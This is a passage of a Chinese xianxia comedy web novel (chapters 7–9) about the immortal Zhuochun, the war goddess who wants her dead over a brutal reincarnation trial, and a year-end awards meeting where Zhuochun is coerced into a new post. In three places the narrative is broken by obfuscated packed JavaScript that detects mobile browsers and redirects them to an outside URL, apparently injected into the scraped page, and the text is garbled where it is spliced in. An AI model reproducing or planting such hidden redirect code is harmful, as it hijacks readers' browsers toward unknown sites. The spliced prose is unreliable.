凡人修炼成仙后，有天道庇佑，长生不老，不会轻易死去。普通的武器，哪怕把人捅个对穿，五脏六腑搅得粉碎，也不过是治疗修复的时间长短问题，但有一样例外——仙者以气化物得来的东西。 凡器终归只是凡器，而仙者以气化物的东西，是从仙者的灵魂与法力凝练而成，蕴含着天道的力量，就算只是变成个掏耳勺，造成的致命伤还是致命的。 龙缨几次出手都是以气化物，只有被迫对上百捷时才没逼命，仅针对灼春的杀意众目昭彰。 林鸿再次质问：“龙缨，你到底为什么要对偶仙下杀手？若是没有合乎情理的缘由，我就要依法对你进行严惩！这是我最后一次问你，你想好要不要配合回答。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950196|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 灼春骇然，道：“老大你不是这么偏袒她吧？天子犯法尚与庶民同罪，她战神怎么可以例外！？不管她有什么原因，现在都是‘杀我未遂’的铁罪啊！你要是徇私我就到处贴大字报控诉你！” “就是就是！怎么可以轻易放过她！”百捷附和着好友的话，扯着嗓门讥讽龙缨，“她前些日子的历劫还是灼春帮的忙呢！我家灼春辛辛苦苦守了她两年，要不是灼春，她战神能平步登天一举击溃灾潮扬名立万嘛！还想跟我打架五五开？小垃圾！就凭她？嘁，恩将仇报不知好赖！” 林鸿听出来了，百捷为灼春鸣不平是顺带的，最主要的还是她自己的胜负欲又燃起来了。 “帮忙？她那是帮忙吗？她是想毁了我的道心！” 不料，始终保持沉默的战神听到灼春帮自己历劫的说法忽地炸了毛，百捷差点没拦住。 林鸿问：“战神，你是对偶仙之前帮你历劫的事有所不满？” 灼春百捷俱是一愣。 林鸿猜测道：“该不会……是因为偶仙为你设的劫难太严苛，太漫长，所以你……产生了怨怼？” 龙缨吸进一大口冷气，没有反驳。 林鸿：“……”嗯，看来自己猜对了。 明白原因后，林鸿忍不住责备战神不够镇定。 通过轮回镜历劫来巩固提升实力的仙者，没有上万也有几千，每个出来都嫌劫难不够苦、时间不够长，作用不大。能遇上一个靠谱的仙者为自己设定劫难增强自己能力，是多少仙者求也求不来的缘分，她怎能得了便宜还卖乖呢？ 知道自己被追杀的原因是什么，灼春冒火了。 “你这人怎么那么幼稚啊？我害你了吗？你道心毁了吗？你在轮回镜里身陨道消了吗？——你进轮回镜之前我就问过你，你想要怎样的效果，难道不是你说的越苦越好？难道不是你说只要能最大地提升实力出来，什么苦都能吃吗？现在你目的达成了就想着要卸磨杀驴——啊不是，杀我了？过河拆桥、兔死狗烹你也有个限度好不好？还、还我毁你道心……你当心杀了我后才会天打雷劈、魂飞魄散！” “可你！”龙缨横眉怒视着灼春，想要反驳却说不出话。她本就不是伶牙利嘴的人，听着对方符合常理的说法，隐隐也有被说服的念头，但是唯独胸中那颗心在咆哮着“不对！不对！不是这样！”——可，那是哪样呢？ 偶仙气起人来有多狠，林鸿略知一二，为了不让正在气头上的战神燃尽，她决定先把两人分开。反正起因已经知晓，灼春再留下也无济于事。 “咳，那个，偶仙啊，既然事情已经清楚了，那你就先忙你的事去吧！我跟战神再聊一聊，开解开解她。” “说好了嗷！你必须依法办事！要是你拉偏架——” 灼春眯着眼走到林鸿桌案对面，一拍桌子，气弱哼声道：“那你就得给我免费看病开药！” 林鸿：“……” 林鸿微笑着拂开灼春支在自己桌上没有一块好肉的胳膊，道：“看病二钱，开药四钱，材料费、手工费另算，谢绝还价，囊中羞涩者请另寻高明。” 灼春捂着胳膊上被碰到的伤口，痛得冷嘶一口气，暗骂吝啬鬼。 7. 意外之喜 医仙是个见钱眼开的拆白党，那就只好去找另一个懂医术的实惠人了。 灼春拖着伤体来到鸣桐的生灵殿，正好碰上其沐浴完出来，被扑鼻的香气熏得连打十几个喷嚏。 “嚏嚏嚏！姐姐，你用了几遍香胰子啊？味道浓得闻不了！” “洗一遍澡当然只用一遍啊——只不过我多洗了六七八九次澡而已，你别太夸张。” “夸张的是你吧！” 鸣桐毫无自觉，换上簇新的衣服，问灼春现在过来有什么事。灼春将自己在主殿受的气都说了，末了还不忘重复好几遍林鸿是个钱串子。 “……所以我只好来找你治疗了，我亲爱的热心肠的善良迷人的好姐姐~” “我本来是个兽医，就因为你隔三差五找过来，现在快被逼成人医了。” 鸣桐无奈地吁了口气，轻车熟路地去兽药边上单独占了一角的药柜取了药，用法术迅速处理好，随后给灼春敷上。一开始有点疼，但疼过之后是舒适，灼春能感受到伤口在药物辅助下努力愈合，放松地轻哼。 鸣桐笑：“听你刚才的语气，比起战神，你好像更看不惯老大啊？” 灼春坐在桌边，不客气地给自己倒了杯茶。 “战神虽然打了我，好歹有理有据——但是咱老大，明明不差钱，却老是哄抬物价！让咱们这种穷仙者怎么活嘛……” “你还挺理解战神的？”鸣桐忍不住好奇，“你到底给战神设了什么劫，居然能把她逼得不像自己？” “我没干什么啊！就是给她历劫的人生随便增加了一点点不幸而已啊！” 灼春抿了口茶，拎起茶壶往杯中注水，鸣桐见杯中水快溢出，忙出言提醒，但灼春只是减少了加水的量，整个人趴到茶杯前，一滴一滴往里加水，茶水高出杯沿涨出一个圆满的弧面。 鸣桐：“你又玩什么呢？” “向你解释我怎么给战神设定劫难的啊——这杯子是战神，水是苦难，杯子里的水越多，历劫的效果越好，但是水溢出容器，那战神就会身陨道消。当我发现战神快撑不住，水要溢出来了——”杯中水正好涨到极限，眼见着再加一滴水就要破了，灼春立马凑过去嘶溜了一口，弧面立刻低了下去，“——就安排些什么安抚疗愈她，始终将劫数的痛苦程度保持在战神可承受的极限内。我整整保持了两年！谁有我这么耐心啊！” 鸣桐：“……” 也没谁有你这么狠心了。 怪不得战神对着灼春喊打喊杀呢，长期紧绷活在绝望之中，换谁能对罪魁祸首好脸看啊？尽管初心和结果都是好的…… 鸣桐状似无意地问起：“那个……那么战神在轮回镜中都经历了什么啊？” “就是天灾……” 话刚出口，灼春立马后知后觉地捂住自己的嘴，顿了顿，向好友赔笑：“天道不让说……” 鸣桐：“嗯？天道还管这个？” 灼春：“哎呀，不是我不说，而是有前车之鉴说不了！之前有个仙者想跟人说镜中遭遇，结果刚开口就被天雷劈了，直接劈没了记忆，差一点就成二傻子了！” 轮回镜是天道之力凝聚制成，镜中的时间空间交错无序，因此仙者可以毫无顾忌地进去历劫而不对现实产生影响。只是，若说出镜中世界的东西可能会对现实造成或大或小的冲击，所以仙者离开轮回镜后，历劫记忆会随着时间而模糊，而且不可与外人道，否则言者听者都会被天道干预模糊、消除相关记忆。 轮回镜的掌管者和历劫对象的相应司劫者是例外，可以不受天道干扰保存关于其他仙者历劫的记忆，甚至可以遮遮掩掩地透露一些内容，不过这个度很难把握。 毕竟…… 天道的心思人类你别猜，猜来猜去你也不明白。 鸣桐叹了口气没有强求，只是遗憾自己听不到更多详细内容。 遗憾归遗憾，要是会被天道惩罚，那还是遗憾着吧。 灼春被鸣桐的识大体感动了，握着她的手，郑重承诺：“姐妹，下次你到寂心期需要渡劫，我一定毛遂自荐帮你司劫，保管让你出来后实力登峰造极！过个五六百年才到下一个寂心期！” 寂心期是仙者几百年一次的渡劫时期。寂心期来临时法术会失灵，若一年内不进轮回镜渡劫，那么之后便会法力全消。 一般来说，在镜中渡劫的时间越长，两次寂心期的间隔也会越长。 惊觉自己寂心期似乎就在这两年的鸣桐，联想到灼春对战神历劫时的“尽力尽力”，忽然有些心悸，婉言拒绝。 灼春委屈：“咋？难道你不相信我吗？” “哪里哪里……” 虽然鸣桐嘴上说着没有，但灼春还是感觉到自己被嫌弃了。正郁闷，发现自己手背上亮起一道符文，代表有人给她传讯。 灼春以为又是什么小广告，正想散去，无意看到符文笔触有些眼熟——好像是小麻？ 试探性地打开，果然是小麻发来的消息。 “唉，说多少遍了，不要发消息，用传音阵或者当面说——怎么就是不听呢？” 灼春一边叹气一边看讯息，鸣桐好奇地凑过来问发生什么了。 “没啥，小麻发来的，说——天哪！？真的假的！？好多人来登记婚姻了？” 灼春不敢相信地重复看了好几遍信息，确认自己没看错，乐得当场跳起来。 灼春作势往外冲，加快语速解释：“小麻不会婚姻登记，我得赶紧回去处理！免得人家一个败兴不成婚了！” “哎你等等！” 鸣桐蓦地喊住她，将之前取药时就备在一旁的药包交给正要起飞的灼春。 “喏，这包药带回去撒在洗澡水里好好泡泡。” 灼春接过药包，挑眉：“嗯？这是促进伤口愈合还是缓解疼痛的？” “固本培元的。” “喔~保健品哦？难得你会给我保健品哦？知道姐姐对我好~” 鸣桐手指抵着正要往自己身上蹭的灼春，哼了一声：“还不是为了督促你洗澡？” 灼春低头看了一眼自己。 嗯……是挺脏的。 “我把你当姐妹，你却嫌我脏！”灼春做作地捂住自己的心脏，娇嗔满面。 鸣桐浅笑：“少演了啊，我还不知道你呀？如果不逼你泡澡，八成又想偷懒用个净尘术算了——你现在法力所剩无多，别老想着祸祸了。” “嘿嘿，知道姐妹关心我~” 逗趣完，灼春摆正脸色，好好地跟鸣桐说再见，接着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950197|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便驾云飞远。 生灵殿一下子安静下来，但很快又变得吵吵闹闹——一群五彩斑斓的鸟叽叽喳喳地飞过大门进入生灵殿，跟在鸣桐耳边叫个不停。 鸣桐仿佛习惯了这样的吵闹，居然美滋滋地泡上茶跟它们聊了起来。 “……哦？你们去主殿偷听了呀？战神被老大教训了啊？……诶？承诺以后不再对灼春用以气化物了？——嘶，那战神是想开了吗？” “……啊……战神回家后还是死气沉沉地发呆啊……看来是没想开。不过灼春没有性命之忧就好——唉，说起来真的好想知道战神历劫时经历了什么呀……嗯？你们听到战神呢喃一个从没听过的名字？你们听到了什么？仔细说说？” 小鸟们刚唧唧出口，忽地一道电光自天而来穿过屋顶直接扎在鸣桐眉心，电光四射，鸟群们下意识地避开电击慌张飞散，待鸣桐周身的电弧熄灭，才敢逡巡着飞近，只不过不敢贴着鸣桐了。 电弧消失，鸣桐眨巴眨巴眼，却好像什么都没发生似的，又继续热情地问鸟朋友们：“你们听到战神在呢喃一个从没听过的人名？听到了什么？和我说说呗？” 鸟儿们歪着头，困惑地面面相觑，又重复了一遍。然而梅开二度，从天而降又一道电光，鸣桐被劈中后呆滞许久，而后好一会儿才恢复意识，恢复意识后第三遍要求它们讲述战神的事。 鸟儿们惊恐：“……”兽医仙不是傻了吧？ 鸣桐微笑：“……嗯？怎么突然不说话了？害怕战神追究吗？” 鸟儿们你看看我，我看看它，就是没一个开口说话的。 之前诡异的两次经历，就算是笨鸟也能反应过来，很明显是它们交流的内容触发了什么不得了的东西——难道真是战神的力量？外溢到自成一道法则了！？ 在没人知道的时候，鸣桐的鸟朋友们不约而同地产生了对战神的敬畏之情。 “……还不说话？真害怕战神了？是战神欺负你们了？”鸣桐半晌没听见动静，之前玩笑的语气变正经了许多，探究的眼神扫过每一只鸟。 “……” 鸟儿们不敢应答，但又怕兽医仙对战神生气，和对方起冲突伤了自己，可是它们能做什么阻止这两方面的悲剧呢？ “喵嗷～” 忽地闪现一只狸花猫，径直扑进鸟堆，吓飞了一众鸟，掉落一地羽毛。 “哎！不可以欺负朋友！” 鸣桐呵斥了一句狸花猫，将其抱在怀里顺毛。 被猫这么一吓，有几只鸟还真被逼出了急智。 “……战神和百捷真写了一千字的检讨书，去悬壶医馆给人道歉了？整条街的人都去围观了？噗嗤——” 鸣桐想想这个场景忍不住笑起来。 早知道她也去凑热闹看看了！ 龙缨和百捷居然会写检讨？还当众道歉？那可是骨头比精铁硬的战神和百捷呐！一辈子有几次会向别人低头？ 鸣桐：“只是检讨吗？老大没让她们带什么赔礼？……噢，这倒奇怪了……” 难不成老大也有气糊涂的一天，忘记交代赔礼了？——嗬，接受战神和百捷道歉的伤员真惨，被两个气势骇人的大块头声波冲击，还没有一点实用的东西，希望他们病情没有恶化吧。 8. 赏功罚罪 第十六次灾潮暨年终总结大会即将开始，相睦会现存的执司们在练武场收拾场地，忙中有序。 忙碌程度比起以往已好了许多，以前每次开会，他们都要为千百人的成员准备桌椅茶歇，光是凑够数量就有无数麻烦，而今年要准备的不逾百份，都不知道该庆幸还是该悲哀了…… 灼春早在会议开始前一个时辰就来到了现场，穿红戴绿，喜气洋洋，与会场中朴素紧张的执司们形成鲜明对比。 “偶仙好！”“偶仙好！”“偶仙您来这么早啊！”“偶仙您先坐会吧！”…… 灼春进入练武场就被执司同僚们致以问候，她一一回应，接着，便抱着个竹筒，一边啜饮，一边慢悠悠地在会场闲逛，犹如巨浪中不受冲击的游鱼一般自在。 她是自在了，但在布置会场的执司们可没那么轻松。 “偶仙，您别瞎转了，去坐着喝茶吧！” “偶仙，距离开会还早，要不您回家歇歇？” 灼春婉拒同事们的好意后，一个暴脾气的执司忽地把话挑明，她在这乱走影响大家工作，让她自己注意点。 灼春：“……” 终于，游鱼不在会场晃荡了。 灼春坐在座上，翘着腿哼着歌儿，时不时抿一口竹筒里可口的茶水，仿佛自己不是在等开会，而是在等退休通知。 会前几刻钟，相睦会诸位仙者陆续到达入座，灼春一看，大多都是斗武殿的人，其余部门要么只剩一棵独苗，要么全军覆没，只剩几个普通人执司苦苦支撑。 唉，兵微将寡，甚是凄凉啊~ 不过与她无关了，因为—— “灼春，到挺早啊？” 鸣桐忽地出现在灼春附近，打量她几眼后，调笑道：“心情不错？穿得这么花哨？” “那是！”灼春美滋滋地摇头晃脑，“在下我啊，马上就要实现假期自由了！” 说着，她从自己的乾坤袖里抓住一只肥硕的野兔，握着耳朵递给鸣桐。 灼春：“拿着！我给蛇姐的谢礼！” 鸣桐将兔子收进自己的乾坤袋：“你还跑去山上打兔子了？什么时候起的？” 灼春哼哼哼地摇动食指，说：“昨晚我压根就没睡！” “就因为昨天有很多人来婚姻登记完成了你的任务指标，你就兴奋得睡不着了？”鸣桐想以前灼春也有完成业绩的时候，但没有这么夸张的。 灼春摇摇头：“没那么简单——我不止完成了今年的业绩，连灾潮三年的业绩也全补上了！昨晚我连夜给老大打了报告，今天会议上一定有超量的奖励等着我！” 鸣桐看着对方亮闪闪的眼神，忽然觉得有一丝不妙，立刻抄起手搭在灼春的腕脉上。 鸣桐：！ 鸣桐震惊：“你又干什么了！？怎么灵台里的法力又一滴不剩了！” 灼春抽回手，无所谓地说道：“昨天来登记的人太多了，不用点法力来不及啊~不过你放心，之后我就休假了，保证养得满满当当！” 鸣桐狐疑：“老大跟你提前说了会休假？” “没啊！”灼春充满自信，“但我知道老大一定会给我休假！毕竟之前我都在她耳边念叨那么久了不是？” 林鸿最讲究效率，一般给人奖励都是按照个人喜好来的。灼春不信她在林鸿耳边嘚吧嘚了那么老些日子，林鸿还不知道她要什么！ 鸣桐：“这回不一定哦。灾潮刚过，会里各项事务都要重新捡起来，正缺人手，怎么可能给大家放假？我猜，发放一些购物吃饭的代金券可能性更大。” “嗐，别人不放就不放呗，只要我能放假就行……” 说话间，林鸿已经站到了演讲台上，灼春连忙招呼鸣桐坐下。 六十余位仙者坐成一个圆，掌舵林鸿站在上首的演讲台上，身后是标着“总结会议”四个大字的巨幅幕布。林鸿属下赵执司和刘执司各自站在幕布两侧，等着掌舵说到合适的时机放下相应内容的幕布，剩下的四十一位执司在仙者圈外围坐成一个新的圆弧，等待会议正式开始。 “同僚们好，如大家所见，今天我们开的是第十六次灾潮结束表彰大会暨今年的年终总结会议。在过去灾潮泛滥的三年里，我们砥砺前行。为了百姓安居乐业，我们有三千零四十四位同事牺牲了自己，在此，让我们怀着沉默的心情为他们默哀三分钟……” 在场诸人效仿林鸿，纷纷低下头，双手合握。 默哀过后，林鸿直入主题，总结了过去三年大家遇到的困难与解决措施，赞扬了仙者和执司百折不挠、大公无私的精神，接着，就开始一个一个地点过去，有功则赏，有过则罚。不过基本上都是功大于过，多多少少都有奖励。 “……斗武殿先锋官百捷，在三年灾潮中不屈不挠，始终奋斗在前线，非致命伤不下火线，在同僚进轮回镜历劫、战场无人的时候凭一己之力拖住灾潮蔓延的脚步，实乃对抗灾潮的中流砥柱！经组织研究决定，奖励黄金五十两，多味楼二十两代金券三张，藏宝殿自选稀世武器一份、铠甲一身，妙回堂一年诊费全免，假期五日，升任校尉——” 听到好友得到丰盛的奖励，灼春忍不住“啪啪啪”地鼓掌，然而她才拍了三下，就被林鸿瞪了一眼，紧接着又听她说—— “然而其鲁莽冲动，私下与斗武殿战神龙缨械斗，事后不思悔改，仍隔三差五骚扰战神屡次挑衅，妨碍同事和睦，德行有亏。尽管最初的械斗是为了保护同事，但后面数次都是主动挑衅，行为恶劣。本来应该严惩，但组织念在其就是因为这副性子才能奋战一线，于是决定以功抵过，抵消一部分奖励。最后的结果为——奖励百捷黄金十两，多味楼二十两代金券一张，保持先锋官官职不变且增加全天巡逻任务，任务细则会后传达，以上。” 百捷对这些东西不怎么看重，老老实实地接下文书签字，就算认了这份奖罚。本人签过字的文件内容受天道约束不可自作主张变更、异议，否则会受天罚。 她没异议，灼春有。 就算百捷有过，抵的东西也太多了吧？还不如直接罚呢！看看，有用的奖励全被抵消了！武器、铠甲、诊费、假期、官职，哪个不比黄金宝贵？八成就是林鸿不想破财，才随便找借口取消这些东西。 她听到现在，其他人被奖励到手的东西无非就是多味楼的代金券和不超过十两的银子。多味楼是与相睦会交好的仙者开的，物美价廉还对仙者格外宽容，就算不用券，爆搓一顿也花不了几个钱。至于钱——拜托，都进相睦会了，谁还在乎那一星半点的铜板啊？ 抠啊，真抠啊，怎么那么抠呢！ 林鸿评完百捷，下一个就轮到了鸣桐。洋洋洒洒一篇赞美过后，不出灼春所料，奖励的又是多味楼的代金券和五两现银。 鸣桐全不在意，自然地接过文书签下署名。 灼春忍不住跟鸣桐小声抱怨：“姐姐，这你都能忍？老大太抠门了吧！” 鸣桐小声回复：“没办法啊，谁让我没去一线呢？咱们在后方的，肯定不能比一线战士福利好啊！否则以后谁愿意上前线？” 灼春：“……” 不愧是老好人，连自己利益相关的事都可以不争。 按照以往的顺序，评完鸣桐就是自己。 灼春挺直了腰板打算仔细听，如果林鸿敢昧了她的假期，她就立刻翻脸，起码要保住自己该得的东西！ 林鸿：“接下来是——” 灼春期待地看向林鸿，谁知后者扫了她一眼，直接跳过，将目光放在战神龙缨身上。 “——斗武殿战神龙缨，灾潮第一年，全年守在前线，在战场上运筹帷幄，以最小的牺牲换取最大的胜利，为疏散无辜群众争取了极其宝贵的时间。之后为了提升我方抵抗灾潮的力量，进轮回镜历劫两年，苦其心志，劳其筋骨，最终出关，一举击溃旷日持久的灾潮，解民于倒悬！奖励——” 灼春虽然疑惑自己怎么被跳过了，但对本次灾潮的最大功臣会得到何种好处的好奇心占了上风，于是竖起耳朵听奖励。 嚯，黄金百两，稀世兵器，刀枪不入的战袍还有终身免费治疗等…… 嗯，确实丰厚，丰厚到老大绝对不可能掏出来。 果不其然，接着林鸿就提到战神道心不稳，居然试图杀帮助自己历劫的同僚泄愤，行为极其恶劣。本来应该关进地牢劳改几十年，但念在其事后悔改态度良好，没有前科，且是本次战役的最大功臣，于是没收所有奖励，不赏不罚。 灼春：“……” 好家伙，怪不得之前说得那么大方，合着压根没打算给人分厘啊？——唔，不过受害人是自己，那么战神这样也算“报应”。 灼春只能保证自己不幸灾乐祸，至于为其鸣不平——她又不是鸣桐，没有那么好的心肠。 ——忽地一只三花小猫溜进了会场，贴着鸣桐的耳朵嘀嘀咕咕了一会儿。鸣桐脸色瞬间凝重，俯身对灼春说生灵殿有兽受伤她要回去救兽，万一林鸿问起，让灼春替自己交代一句。 灼春着急听自己的奖赏，胡乱点头应下。 她想着评完战神总该轮到自己了吧，可是，林鸿就像忘了她似的，全场所有人包括凡人执司都被评了，还没提到她。 灼春慌了。 “老大啊不是——掌舵！”灼春起身举手，指着自己急问，“我呢？还没对我论功行赏呢！我昨晚才交了本职工作的业绩啊！今年连过去三年全完成了！而且灾潮三年我也尽心尽力，没有功劳也有苦劳，这么把我无视了不合适吧！” 如果真这么欺负人，她直接撂挑子不干了！ 林鸿“哦？”了一声，慢条斯理地整理着面前的文件，许久才抽出一张盖了章的文书，说找到了。 她正要开始念，灼春插进来说：“老大，前面那些虚头巴脑的词儿咱先跳过，别奖励说了一堆，结果到手的就三瓜俩枣，直接说我到手的东西行不行？” 林鸿露出一个标准微笑：“不行。” 林鸿开口念文书上的字，才刚开口，灼春又插话了。 “老大，我只在乎假期，其他东西奖啊罚的无所谓，你就只告诉我假期怎么样？” “……” 林鸿没理她，自顾自地念起文书上的内容。 “——偶仙灼春，法力低微，心慵意懒，但灾潮来临时，还是履行了仙者的责任，守在后方，尽管像颗算盘珠子似的拨一下才动一下，可在左支右绌的局面中解了燃眉之急……” 灼春：“……这是夸我还是贬我？正式文书可以用那么多修辞手法吗？” 忽然感觉被很多视线盯着，芒刺在背，灼春猛一回神看向长圆桌边的人们，只见所有人不谋而合“唰”一下挪开了视线。 灼春：“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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灼春龇牙咧嘴：“开什么玩笑！？要是没鬼你们逼我签字干嘛！？” 仙者乙：“哎呀我们这不是看你没力气动笔帮你一把，仙者的事，怎么能叫逼呢？” 仙者丙：“嗐！废什么话！夜长梦多，早签早了！” 灼春：“你！你们！！——鸣桐救我啊！！” ——啊，鸣桐有事先回生灵殿了。 “百捷！！——你！？” 灼春梗着头四处寻找好友的身影，意外发现百捷就在这帮压着自己的人之中，而且是最狂热的那个。 百捷嘿嘿两声：“灼春，你就签了吧，兼任司劫而已，反正偶仙又没多少事要忙，闲得要死。” 灼春怒了：“谁说我闲了！？——老大！掌舵！你看他们！你不管管吗！？” 被点名的某人闭上眼睛装瞎，还云淡风轻地走流程问问有没有谁不同意偶仙兼任司劫的。 灼春哭了，唯二会帮忙的，一个不在，一个倒戈，连走过场拒绝一下的人都没了…… “掌舵，我认为偶仙不合适司劫。” 意外地，居然是一旁沉默的战神提出了反对意见。 战神：“偶仙残酷无情，兼任司劫为各位仙者渡劫，只怕会损害所有人的道心。” “喂！你自己意志不坚定，可不要把我们扯进来！只要能提升实力，吃点苦头算什么啊！我们才不会道心不稳呢！” 百捷不以为然地朗声驳回了战神的意见，附近一块逼灼春签字的同僚们纷纷附和，话里意思都是说自己心性坚定，不会有事，只要能提升实力保护天下就可以。 “……既然没有反对意见，那就这么定下了。”林鸿依然闭着眼。 几乎与她话音落下同时，文弱的偶仙终于犟不过几十头猛犸象，被控着手签下了自己的名字。 文书闪过一圈金光，表示已纳入天道约束，拥着灼春的一众虎狼仙者终于如鸟兽散，剩下灼春如烂泥一般趴在桌面上，整个人都掉色了，惨白惨白。 “成了成了，以后渡劫有保障了！” “是啊是啊，我预约了过两天就去渡劫，这回不用担心法力变弱了！” “帮仙者司劫的人千千万，迄今为止就听说过偶仙一个能这么大幅度帮人提升实力的！——虽然我几十年前刚过寂心期，但再来一次也不是不可以啊！” “说起来偶仙怎么这么弱啊？听说她经历过四五次寂心期了，怎么反而比她刚成仙时还脆啊？” “这有什么好奇怪的？咱们不都这样吗？实在是轮回镜里的劫不好调整啊！难了过不去，身陨道消；简单了过得太轻松，实力倒退，唉……” “没事！咱们以后有专门的司劫了！不怕！” “渡完劫咱个个都能比肩战神！” “对！比肩战神！” …… 灼春瘫在桌上，心想，你们倒是比肩战神了，她呢？零落成泥啊？ 可恶……早知道不把法力消耗掉了……抗不过这些猛兽，起码还有一逃之力…… 台上的林鸿清了清喉咙，终于睁开了眼，正色道：“接下来我们进行最后一项议程，关于年后招募执司的‘资具考’准备事宜……” 9. 祸不单行 会议结束，大家陆续散去，灼春浑身脱力地来到林鸿面前，质问—— “林鸿！你怎么回事！没有奖励就算了，怎么还给人增加工作量啊！我做了什么十恶不赦的坏事要你这样惩罚我！？” 林鸿挥退附近的同僚们，引着灼春往外走了两步。 “好歹是位列仙班的人，说话不要那么暴躁，影响不好。”林鸿好言相劝，“再说怎么没给你奖励啊？不是给了你两天假期吗？呃，少是少了点……但会里不是正忙么，能匀出两天假给你已经超过百分之九十九的人了，人要懂得知足！” “嘁，那我谢谢你啊？”灼春翻着白眼冷嗤。 “不客气——这是预约到轮回所历劫的仙者排单，后天就有人去轮回所——看！大家多支持你的工作！这就来给你捧场了！” 林鸿见缝插针地塞给她一份文牒，灼春没接稳，只抓住封面，紧接着文牒就跟瀑布一样飞流直下三千尺，哗啦啦掉了一地甚至碰到地面后还往外摔出好几尺。 灼春：“……” 她冷漠看向林鸿：“现在开始放假，放两天，后天立马上任，立马干活，连过渡期都没有哈？” 林鸿心宽地拍拍她的双肩：“组织相信你的能力！” 灼春：“……” 从这份文牒就可以看出司劫的工作会有多繁重！她当初为了悠哉过日子才当偶仙的——兼任司劫，这不是自讨苦吃嘛！ 灼春找借口婉拒：“老大，不是我不乐意为同僚服务，而是我最近很忙，真的很忙，太忙了，腾不出精力……” 林鸿淡淡道：“你当我不知道你的工作内容么？” “……”灼春错开眼神，辩解着，“哈、哈……今时不同往日，之前大型相亲大会一开，好多人来预约登记业务咧，跟、跟轮回所的预约人数有过之而无不及……” “灼春呐，你是不是忘了自己现在有助手了？这种小事交给年轻人锻炼嘛！你就安心到轮回所工作！” “……” 灼春仍不死心：“老大，我进相睦会以来就帮别人司过一次劫，咱会里哪个不比我娴熟？我这，你看我就帮过战神一次，结果人对我喊打喊杀，拦都拦不住！如果我真兼任司劫，回头历过劫的所有同僚都成疯狗，相睦会成了疯狗窝，你放心？” “怎么不放心呢？”林鸿再次表示信任，从另一个角度评判，“你就司过一次劫，这一次就让战神平步登云，成功率百分百啊！哪个仙者有你这样的效率？” 林鸿见其还要说话，抢先一步发出技能：“灼春，我知道你担心自己的人身安全。放心啊，以后所有到你这儿渡劫的仙者，都得签一份事前合同，过关后不得对你本人动粗泄愤！” “可战神……” “战神那边你不用怕！我已经跟她商量过了，以后再不会对你动用以气化物！而且我还特意让百捷整日巡逻——有她在，你总能安心了吧？” 灼春：“……” 她能说什么，还能说什么，所有借口都被破解了好么…… “最重要的是啊……”林鸿意味深长地瞥她，“你已经在文书上签字了，要是毁约，就是天道来‘劝’你啰。” “……” 灼春：“老大你变了，你变得不再和蔼可亲了，你现在好像吉吾那个坏家伙。” 林鸿微笑：“随便骂，只要你能高效完成组织交给你的任务，我自骂都行。” 灼春：“……” 疯了，三年的苦难终于把这老太太逼疯了。 “好了好了。”林鸿终于松了口，“这样吧，如果你帮所有仙者在轮回镜里完成一次渡劫，临了偶仙的工作也没有落后，那我就给你放一个月的带薪假。而且，如果你确实不合适司劫那个岗位，那就算了。” “老大英明！！” 灼春离开了练武场。 开心过一瞬后，她立马蔫儿了。 照理说她现在处于放假状态，但她根本轻松不起来。任谁知道风平浪静之后就是掐点到的狂风骤雨滔天巨浪还能安心享受最后的宁静啊？ 想着短暂的假期结束就要开始接手新的业务，而轮回所在练武场附近却离自己家很远，灼春脚步顿了顿，偏转方向去了轮回所。 虽说她不是没去过轮回所，但临时做工和正式当值多少有差别。免得回头新上任手忙脚乱，现在先过去熟悉一下，做一些事前准备。 轮回所的大门依然被锁着，但是灼春现在有了主事权，不会像上次那样吃闭门羹，指尖略一触碰锁头，就自动确认身份，大大方方地跨进正门。 轮回所只有一个见方三十九丈的大殿，殿内中央疏朗地并排放置着五面一人高的轮回镜，每面镜子上都挂着一串颜色不一的风铃——除了轮回镜，空无一物。 灼春挠着下巴想，就老大给的那份预约文牒，五面镜子不同时开，恐怕来不及给人渡劫。可是同时开的话，需要时刻关注着每一面镜子的动向，那么…… 她尝试着从第一面镜子走到最后一面，花了不少时间，哪怕一路小跑，也只缩短了一半的用时。 思索片刻，她就决定着手调整轮回镜的摆放位置——不并排，围成圆。如果五面镜子是环形摆放，那她站在圆心转转身子就能关注所有轮回镜的动向，不必跑来跑去空耗体力。 为了减少以后的麻烦，灼春当即抱起轮回镜，一面一面地调整位置。 ——为什么不用法术？呵呵，因为她为了做一个合格的偶仙，灵台昨天就空了！ 纯靠自己的体力搬东西，尤其是饱含天地精华而沉重无比的轮回镜，等灼春把它们调整到合适的角度，体力已经消耗差不多了。 接着她又去藏宝殿讨了一张油漆未干的办公桌和两条椅子，安置在五面镜子的中央——等她收拾好轮回所，两天假期已经少了四分之一。 灼春想靠着什么借力歇歇，但这里只有轮回镜，还很精贵，万一倚坏了不知道金钱殿那伙钱串子会怎么宰她呢。仔细一想她也就不歇了，假期时间宝贵，要积累起来回家好好享受，不可以浪费在这么不舒服的地方。 她正要回家，突然想起之后可能还有人到情感轮回所登记，但自己可能没精力管理且还未来得及教小麻怎么处理。 